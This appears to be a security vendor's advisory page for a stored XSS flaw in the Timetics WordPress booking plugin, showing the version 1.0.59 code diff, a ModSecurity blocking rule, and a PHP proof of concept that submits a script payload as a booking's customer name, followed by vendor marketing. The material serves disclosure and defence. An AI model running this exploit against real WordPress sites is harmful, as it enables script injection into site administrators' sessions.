+        // them here avoids a duplicate email for the same booking. Sent here
+        // (after create_event) so the Google Meet link is present in the email.
+        if ( 'created' === $action && 'failed' !== $status && ! in_array( $payment_method_l, ['stripe', 'paypal', 'woocommerce'], true ) ) {
+            $is_email_to_customer = timetics_get_option( 'booking_created_customer');
+            $is_email_to_host     = timetics_get_option( 'booking_created_host');
+
+            if ( $is_email_to_host ) {
+                $new_event_email = new New_Event_Email( $booking );
+                $new_event_email->send();
+            }
+
+            if ( $is_email_to_customer ) {
+                $new_event_customer_email = new New_Event_Customer_Email( $booking );
+                $new_event_customer_email->send();
+            }
+
+            do_action( 'timetics_gln_hook', 'booking_created', Notification::get_hook_data( $booking ) );
+        }
+
         // Fire after booking schedule create.
         do_action( 'timetics_after_booking_schedule', $booking->get_id(), $customer->get_id(), $meeting->get_id(), $data );

@@ -1355,6 +1378,8 @@
             $customer_cancel_event_email->send();
         }

+        do_action( 'timetics_gln_hook', 'booking_canceled', Notification::get_hook_data( $booking ) );
+


         do_action( 'timetics_after_booking_delete', $recurrences );
--- a/timetics/core/bookings/booking.php
+++ b/timetics/core/bookings/booking.php
@@ -801,6 +801,8 @@
             ]
         );

+        $event = false;
+
         if ( $entries ) {
             $entry = $booking_entry->first();

--- a/timetics/core/integrations/google/service/calendar.php
+++ b/timetics/core/integrations/google/service/calendar.php
@@ -364,9 +364,14 @@
         $args['end']   = [$date['end']];

         if ( $args['google_meet'] ) {
+            // requestId must be unique per request; Google ignores the
+            // conference create request (no Meet link generated) if it
+            // matches a previously used id.
+            $request_id = function_exists( 'wp_generate_uuid4' ) ? wp_generate_uuid4() : uniqid( 'tt-meet-', true );
+
             $args['conferenceData'] = [
                 'createRequest' => [
-                    'requestId'             => 'sample123',
+                    'requestId'             => $request_id,
                     'conferenceSolutionKey' => ['type' => 'hangoutsMeet'],
                 ],
             ];
--- a/timetics/core/integrations/woocommerce/hooks.php
+++ b/timetics/core/integrations/woocommerce/hooks.php
@@ -8,6 +8,7 @@

 defined( 'ABSPATH' ) || exit;

+use TimeticsCoreAdminNotification;
 use TimeticsCoreAppointmentsAppointment;
 use TimeticsCoreBookingsBooking;
 use TimeticsCoreCustomersCustomer;
@@ -158,6 +159,8 @@
             $new_event_customer_email->send();
         }

+        do_action( 'timetics_gln_hook', 'booking_created', Notification::get_hook_data( $booking ) );
+
         WC()->session->set( 'timetics_data', null );

     }
@@ -714,6 +717,8 @@
                     $customer_cancel_event_email = new Cancel_Event_Customer_Email( $booking );
                     $customer_cancel_event_email->send();
                 }
+
+                do_action( 'timetics_gln_hook', 'booking_canceled', Notification::get_hook_data( $booking ) );
             }

         } finally {
--- a/timetics/templates/emails/cancel-event.php
+++ b/timetics/templates/emails/cancel-event.php
@@ -81,7 +81,7 @@
                         printf( esc_html__( '%1$s, %2$s %3$s', 'timetics' ), esc_html( $timetics_time ), esc_html( $timetics_day ), esc_html( $timetics_date ), esc_html( $timetics_timezone ) );?></p>
                     </div>

-                    <?php if ( 'virtual' === $timetics_location_type && $timetics_join_link ): ?>
+                    <?php if ( 'google-meet' === $timetics_location_type && $timetics_join_link ): ?>
                         <div class="single-data-entry" style="margin: 10px 0 20px;">
                             <p style="font-weight: 600; font-size: 14px; line-height: 1; color: #0C274A; margin: 0 0 5px;">
                                 <?php esc_html_e( 'Location:', 'timetics' );?>
--- a/timetics/templates/emails/customer-booking-reminder.php
+++ b/timetics/templates/emails/customer-booking-reminder.php
@@ -48,7 +48,7 @@
             </div>
             <?php if ( $timetics_email_body ): ?>
                 <?php echo wp_kses( timetics_replace_placeholder( $timetics_email_body, $timetics_placeholders ), 'post' ); ?>
-                <?php if ( 'virtual' === $timetics_location_type && $timetics_join_link ): ?>
+                <?php if ( 'google-meet' === $timetics_location_type && $timetics_join_link ): ?>
                     <div class="single-data-entry" style="margin: 10px 0 20px;">
                         <p style="font-weight: 600; font-size: 14px; line-height: 1; color: #0C274A; margin: 0 0 5px;">
                             <?php esc_html_e( 'Location:', 'timetics' );?>
--- a/timetics/templates/emails/customer-cancel-event.php
+++ b/timetics/templates/emails/customer-cancel-event.php
@@ -82,7 +82,7 @@
                         printf( esc_html__( '%1$s, %2$s %3$s', 'timetics' ), esc_html( $timetics_time ), esc_html( $timetics_day ), esc_html( $timetics_date ), esc_html( $timetics_timezone ) );?></p>
                     </div>

-                    <?php if ( 'virtual' === $timetics_location_type && $timetics_join_link ): ?>
+                    <?php if ( 'google-meet' === $timetics_location_type && $timetics_join_link ): ?>
                         <div class="single-data-entry" style="margin: 10px 0 20px;">
                             <p style="font-weight: 600; font-size: 14px; line-height: 1; color: #0C274A; margin: 0 0 5px;">
                                 <?php esc_html_e( 'Location:', 'timetics' );?>
--- a/timetics/templates/emails/customer-update-event.php
+++ b/timetics/templates/emails/customer-update-event.php
@@ -50,7 +50,7 @@
             <?php if ( $timetics_email_body ): ?>

                 <?php echo wp_kses( timetics_replace_placeholder( $timetics_email_body, $timetics_placeholders ), 'post' ); ?>
-                <?php if ( 'virtual' === $timetics_location_type && $timetics_join_link ): ?>
+                <?php if ( 'google-meet' === $timetics_location_type && $timetics_join_link ): ?>
                     <div class="single-data-entry" style="margin: 10px 0 20px;">
                         <p style="font-weight: 600; font-size: 14px; line-height: 1; color: #0C274A; margin: 0 0 5px;">
                             <?php esc_html_e( 'Location:', 'timetics' );?>
@@ -95,7 +95,7 @@
                         printf( esc_html__( '%1$s, %2$s %3$s', 'timetics' ), esc_html( $timetics_time ), esc_html( $timetics_day ), esc_html( $timetics_date ), esc_html( $timetics_timezone ) );?></p>
                     </div>

-                    <?php if ( 'virtual' === $timetics_location_type && $timetics_join_link ): ?>
+                    <?php if ( 'google-meet' === $timetics_location_type && $timetics_join_link ): ?>
                         <div class="single-data-entry" style="margin: 10px 0 20px;">
                             <p style="font-weight: 600; font-size: 14px; line-height: 1; color: #0C274A; margin: 0 0 5px;">
                                 <?php esc_html_e( 'Location:', 'timetics' );?>
--- a/timetics/templates/emails/staff-booking-reminder.php
+++ b/timetics/templates/emails/staff-booking-reminder.php
@@ -48,7 +48,7 @@
             </div>
             <?php if ( $timetics_email_body ): ?>
                 <?php echo wp_kses( timetics_replace_placeholder( $timetics_email_body, $timetics_placeholders ), 'post' ); ?>
-                <?php if ( 'virtual' === $timetics_location_type && $timetics_join_link ): ?>
+                <?php if ( 'google-meet' === $timetics_location_type && $timetics_join_link ): ?>
                     <div class="single-data-entry" style="margin: 10px 0 20px;">
                         <p style="font-weight: 600; font-size: 14px; line-height: 1; color: #0C274A; margin: 0 0 5px;">
                             <?php esc_html_e( 'Location:', 'timetics' );?>
--- a/timetics/templates/emails/update-event.php
+++ b/timetics/templates/emails/update-event.php
@@ -49,7 +49,7 @@
             <?php if ( $timetics_email_body ): ?>

                 <?php echo wp_kses( timetics_replace_placeholder( $timetics_email_body, $timetics_placeholders ), 'post' ); ?>
-                <?php if ( 'virtual' === $timetics_location_type && $timetics_join_link ): ?>
+                <?php if ( 'google-meet' === $timetics_location_type && $timetics_join_link ): ?>
                     <div class="single-data-entry" style="margin: 10px 0 20px;">
                         <p style="font-weight: 600; font-size: 14px; line-height: 1; color: #0C274A; margin: 0 0 5px;">
                             <?php esc_html_e( 'Location:', 'timetics' );?>
@@ -94,7 +94,7 @@
                         printf( esc_html__( '%1$s, %2$s %3$s', 'timetics' ), esc_html( $timetics_time ), esc_html( $timetics_day ), esc_html( $timetics_date ), esc_html( $timetics_timezone ) );?></p>
                     </div>

-                    <?php if ( 'virtual' === $timetics_location_type && $timetics_join_link ): ?>
+                    <?php if ( 'google-meet' === $timetics_location_type && $timetics_join_link ): ?>
                         <div class="single-data-entry" style="margin: 10px 0 20px;">
                             <p style="font-weight: 600; font-size: 14px; line-height: 1; color: #0C274A; margin: 0 0 5px;">
                                 <?php esc_html_e( 'Location:', 'timetics' );?>
--- a/timetics/timetics.php
+++ b/timetics/timetics.php
@@ -4,7 +4,7 @@
  * Plugin Name:       Timetics - Appointment Booking Calendar & Scheduling System
  * Plugin URI:        https://arraytics.com/timetics/
  * Description:       Schedule, Appointment and Seat Booking plugin.
- * Version:           1.0.58
+ * Version:           1.0.59
  * Requires at least: 5.2
  * Requires PHP:      7.3
  * Author:            Arraytics
--- a/timetics/uninstall.php
+++ b/timetics/uninstall.php
@@ -8,3 +8,4 @@

 delete_option( 'timetics_onboard_setup' );
 delete_option( 'timetics_onboard_settings' );
+delete_option( 'timetics_default_flows_seeded' );
--- a/timetics/vendor/arraytics/tools-sdk/src/PluginManager.php
+++ b/timetics/vendor/arraytics/tools-sdk/src/PluginManager.php
@@ -26,8 +26,8 @@
         $plugins = get_plugins();

         if ( is_array( $plugins ) ) {
-            foreach( $plugins as $plugin ) {
-                if ( $plugin['TextDomain'] === $slug ) {
+            foreach( $plugins as $plugin_path => $plugin ) {
+                if ( strpos( $plugin_path, $slug . '/' ) === 0 ) {
                     return true;
                 }
             }
@@ -122,7 +122,7 @@

         if ( is_array( $plugins ) ) {
             foreach( $plugins as $plugin_path => $plugin ) {
-                if ( $plugin['TextDomain'] === $slug ) {
+                if ( strpos( $plugin_path, $slug . '/' ) === 0 ) {
                     return $plugin_path;
                 }
             }
--- a/timetics/vendor/autoload.php
+++ b/timetics/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitd02707597fbf5927c7666b74bdb40ea9::getLoader();
+return ComposerAutoloaderInitb20117cddd741a51e3bb6f90a34768e1::getLoader();
--- a/timetics/vendor/composer/autoload_files.php
+++ b/timetics/vendor/composer/autoload_files.php
@@ -0,0 +1,10 @@
+<?php
+
+// autoload_files.php @generated by Composer
+
+$vendorDir = dirname(__DIR__);
+$baseDir = dirname($vendorDir);
+
+return array(
+    '65bd208c04f25e98cf12b5c37b014f1e' => $vendorDir . '/themewinter/email-notification-sdk/src/Utils/global-helpers.php',
+);
--- a/timetics/vendor/composer/autoload_psr4.php
+++ b/timetics/vendor/composer/autoload_psr4.php
@@ -7,5 +7,6 @@

 return array(
     'UninstallerForm\' => array($vendorDir . '/themewinter/uninstaller_form/src'),
+    'Ens\' => array($vendorDir . '/themewinter/email-notification-sdk/src'),
     'Arraytics\ToolsSdk\' => array($vendorDir . '/arraytics/tools-sdk/src'),
 );
--- a/timetics/vendor/composer/autoload_real.php
+++ b/timetics/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitd02707597fbf5927c7666b74bdb40ea9
+class ComposerAutoloaderInitb20117cddd741a51e3bb6f90a34768e1
 {
     private static $loader;

@@ -22,15 +22,27 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInitd02707597fbf5927c7666b74bdb40ea9', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitb20117cddd741a51e3bb6f90a34768e1', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitd02707597fbf5927c7666b74bdb40ea9', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitb20117cddd741a51e3bb6f90a34768e1', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInitd02707597fbf5927c7666b74bdb40ea9::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitb20117cddd741a51e3bb6f90a34768e1::getInitializer($loader));

         $loader->register(true);

+        $filesToLoad = ComposerAutoloadComposerStaticInitb20117cddd741a51e3bb6f90a34768e1::$files;
+        $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
+            if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
+                $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
+
+                require $file;
+            }
+        }, null, null);
+        foreach ($filesToLoad as $fileIdentifier => $file) {
+            $requireFile($fileIdentifier, $file);
+        }
+
         return $loader;
     }
 }
--- a/timetics/vendor/composer/autoload_static.php
+++ b/timetics/vendor/composer/autoload_static.php
@@ -4,13 +4,21 @@

 namespace ComposerAutoload;

-class ComposerStaticInitd02707597fbf5927c7666b74bdb40ea9
+class ComposerStaticInitb20117cddd741a51e3bb6f90a34768e1
 {
+    public static $files = array (
+        '65bd208c04f25e98cf12b5c37b014f1e' => __DIR__ . '/..' . '/themewinter/email-notification-sdk/src/Utils/global-helpers.php',
+    );
+
     public static $prefixLengthsPsr4 = array (
         'U' =>
         array (
             'UninstallerForm\' => 16,
         ),
+        'E' =>
+        array (
+            'Ens\' => 4,
+        ),
         'A' =>
         array (
             'Arraytics\ToolsSdk\' => 19,
@@ -22,6 +30,10 @@
         array (
             0 => __DIR__ . '/..' . '/themewinter/uninstaller_form/src',
         ),
+        'Ens\' =>
+        array (
+            0 => __DIR__ . '/..' . '/themewinter/email-notification-sdk/src',
+        ),
         'Arraytics\ToolsSdk\' =>
         array (
             0 => __DIR__ . '/..' . '/arraytics/tools-sdk/src',
@@ -35,9 +47,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitd02707597fbf5927c7666b74bdb40ea9::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitd02707597fbf5927c7666b74bdb40ea9::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitd02707597fbf5927c7666b74bdb40ea9::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitb20117cddd741a51e3bb6f90a34768e1::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitb20117cddd741a51e3bb6f90a34768e1::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitb20117cddd741a51e3bb6f90a34768e1::$classMap;

         }, null, ClassLoader::class);
     }
--- a/timetics/vendor/composer/installed.php
+++ b/timetics/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'arraytics/timetics',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '62593009d43fc6b91338a808dc0a704eebb327fb',
+        'reference' => 'a0a14248bb2af91841425d1c2b5ff294fd813b32',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'arraytics/timetics' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '62593009d43fc6b91338a808dc0a704eebb327fb',
+            'reference' => 'a0a14248bb2af91841425d1c2b5ff294fd813b32',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -28,6 +28,17 @@
             'aliases' => array(
                 0 => '9999999-dev',
             ),
+            'dev_requirement' => false,
+        ),
+        'themewinter/email-notification-sdk' => array(
+            'pretty_version' => 'dev-main',
+            'version' => 'dev-main',
+            'reference' => 'cd56595844787809949d2e838c636064c6436807',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../themewinter/email-notification-sdk',
+            'aliases' => array(
+                0 => '9999999-dev',
+            ),
             'dev_requirement' => false,
         ),
         'themewinter/uninstaller_form' => array(

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20267674,phase:2,deny,status:403,chain,msg:'CVE-2026-57674 - Timetics Stored XSS via Booking Creation',severity:'CRITICAL',tag:'CVE-2026-57674'"
    SecRule ARGS_POST:action "@streq create_booking" 
        "chain"
        SecRule ARGS_POST:customer_name|ARGS_POST:customer_email|ARGS_POST:customer_phone "@rx <[^>]*script|onw+s*=" 
            "t:lowercase,t:urlDecodeUni"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57674 - Timetics Appointment Booking Calendar <= 1.0.58 - Unauthenticated Stored XSS

error_reporting(E_ALL);

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
$attacker_email = 'attacker_' . time() . '@example.com';
$payload = '<script>alert('XSS');</script>';

echo "[+] Atomic Edge CVE-2026-57674 PoCn";
echo "[+] Target: $target_urln";

// Step 1: Fetch the booking form to get any necessary nonce or hidden values
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?timetics_action=get_booking_form');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Submit a booking with XSS payload in the customer name field
$post_data = array(
    'timetics_action' => 'create_booking',
    'appointment_id'  => 1, // Assuming meeting ID 1 exists; may need to enumerate
    'customer_name'   => $payload,
    'customer_email'  => $attacker_email,
    'customer_phone'  => '1234567890',
    'booking_date'    => date('Y-m-d', strtotime('+1 day')),
    'booking_time'    => '10:00',
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Submitted booking with payload: $payloadn";
echo "[+] HTTP response code: $http_coden";

if ($http_code == 200) {
    echo "[+] Booking created successfully. Check your email inbox for notification.n";
    echo "[+] If the admin views the email notification, the XSS will trigger.n";
} else {
    echo "[-] Failed to create booking. Check target URL and meeting IDs.n";
    echo "[-] Response: " . substr($response, 0, 500) . "n";
}

// Step 3 (optional): Verify by simulating viewing the email in the admin panel?
// Not possible programmatically, but the stored XSS is confirmed in the email body.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School